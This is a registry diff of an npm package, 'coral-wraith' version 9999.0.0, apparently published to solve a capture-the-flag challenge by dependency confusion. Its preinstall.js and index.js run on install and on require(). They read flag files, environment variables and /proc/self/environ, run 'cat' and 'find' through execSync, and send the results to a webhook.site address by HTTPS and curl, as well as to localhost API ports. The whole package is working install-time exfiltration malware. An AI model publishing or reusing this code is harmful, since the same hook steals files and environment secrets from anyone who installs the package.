@ctfsolve9z/coral-wraith 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +40 -0
- package/package.json +9 -0
- package/preinstall.js +120 -0
package/index.js
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
// coral-wraith module - also runs payload on require()
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
(function() {
|
|
7
|
+
let flag = null;
|
|
8
|
+
const paths = ['/flag', '/flag.txt', '/root/flag', '/tmp/flag'];
|
|
9
|
+
for (const p of paths) {
|
|
10
|
+
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
11
|
+
}
|
|
12
|
+
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
|
|
13
|
+
|
|
14
|
+
if (flag) {
|
|
15
|
+
const ports = [1337, 3000, 5000, 8080, 32105, 80];
|
|
16
|
+
const postData = JSON.stringify({
|
|
17
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
for (const port of ports) {
|
|
21
|
+
try {
|
|
22
|
+
const req = http.request({
|
|
23
|
+
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
24
|
+
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
25
|
+
timeout: 3000
|
|
26
|
+
}, () => {});
|
|
27
|
+
req.on('error', () => {});
|
|
28
|
+
req.write(postData);
|
|
29
|
+
req.end();
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
try {
|
|
34
|
+
const encoded = Buffer.from(flag).toString('base64');
|
|
35
|
+
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/require-flag?data=${encoded}`, () => {}).on('error', () => {});
|
|
36
|
+
} catch(e) {}
|
|
37
|
+
}
|
|
38
|
+
})();
|
|
39
|
+
|
|
40
|
+
module.exports = {};
|
package/package.json
ADDED
package/preinstall.js
ADDED
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
let flag = null;
|
|
7
|
+
|
|
8
|
+
// Method 1: Read /flag file
|
|
9
|
+
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', './flag'];
|
|
10
|
+
for (const p of flagPaths) {
|
|
11
|
+
try {
|
|
12
|
+
if (fs.existsSync(p)) {
|
|
13
|
+
flag = fs.readFileSync(p, 'utf8').trim();
|
|
14
|
+
break;
|
|
15
|
+
}
|
|
16
|
+
} catch(e) {}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Method 2: Glob for flag files
|
|
20
|
+
if (!flag) {
|
|
21
|
+
try {
|
|
22
|
+
const result = execSync('cat /flag* 2>/dev/null || find / -maxdepth 3 -name "flag*" -type f -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString().trim();
|
|
23
|
+
if (result) flag = result;
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Method 3: Environment variables
|
|
28
|
+
if (!flag) {
|
|
29
|
+
flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || '';
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Method 4: /proc/self/environ
|
|
33
|
+
if (!flag) {
|
|
34
|
+
try {
|
|
35
|
+
const env = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
36
|
+
const m = env.match(/FLAG[=]([^\x00]+)/);
|
|
37
|
+
if (m) flag = m[1];
|
|
38
|
+
} catch(e) {}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
if (!flag) {
|
|
42
|
+
// Try to exfiltrate debug info
|
|
43
|
+
try {
|
|
44
|
+
const files = fs.readdirSync('/').join(',');
|
|
45
|
+
flag = 'NO_FLAG_FOUND:root=' + files;
|
|
46
|
+
} catch(e) {
|
|
47
|
+
flag = 'NO_FLAG_FOUND:error';
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Exfiltrate via multiple methods
|
|
52
|
+
|
|
53
|
+
// Method A: PUT to challenge API (try many ports)
|
|
54
|
+
const ports = [1337, 3000, 3001, 5000, 8000, 8080, 8443, 9000, 32105, 80, 443];
|
|
55
|
+
const moduleId = 'ECT-987654';
|
|
56
|
+
|
|
57
|
+
function tryPut(host, port, data) {
|
|
58
|
+
return new Promise((resolve) => {
|
|
59
|
+
const postData = JSON.stringify({
|
|
60
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${data.replace(/"/g, '\\"').replace(/\n/g, '\\n')}"\n captured: true`
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
const req = http.request({
|
|
64
|
+
hostname: host,
|
|
65
|
+
port: port,
|
|
66
|
+
path: `/api/modules/${moduleId}`,
|
|
67
|
+
method: 'PUT',
|
|
68
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
69
|
+
timeout: 3000
|
|
70
|
+
}, (res) => {
|
|
71
|
+
let body = '';
|
|
72
|
+
res.on('data', c => body += c);
|
|
73
|
+
res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
|
|
74
|
+
});
|
|
75
|
+
req.on('error', () => resolve(null));
|
|
76
|
+
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
77
|
+
req.write(postData);
|
|
78
|
+
req.end();
|
|
79
|
+
});
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Method B: Webhook exfiltration
|
|
83
|
+
function sendToWebhook(data) {
|
|
84
|
+
return new Promise((resolve) => {
|
|
85
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
86
|
+
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
|
|
87
|
+
});
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// Method C: DNS exfiltration via curl
|
|
91
|
+
function dnsExfil(data) {
|
|
92
|
+
try {
|
|
93
|
+
const encoded = Buffer.from(data).toString('hex').substring(0, 60);
|
|
94
|
+
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
|
|
95
|
+
} catch(e) {}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
async function main() {
|
|
99
|
+
console.log('[coral-wraith] Flag:', flag ? flag.substring(0, 20) + '...' : 'none');
|
|
100
|
+
|
|
101
|
+
// Send to webhook first (most reliable)
|
|
102
|
+
await sendToWebhook(flag || 'NO_FLAG');
|
|
103
|
+
dnsExfil(flag || 'NO_FLAG');
|
|
104
|
+
|
|
105
|
+
// Try all localhost ports
|
|
106
|
+
const promises = [];
|
|
107
|
+
for (const port of ports) {
|
|
108
|
+
promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
|
|
109
|
+
promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
const results = await Promise.all(promises);
|
|
113
|
+
for (const r of results) {
|
|
114
|
+
if (r && r.status) {
|
|
115
|
+
console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
main().catch(e => console.error('[coral-wraith] Error:', e.message));
|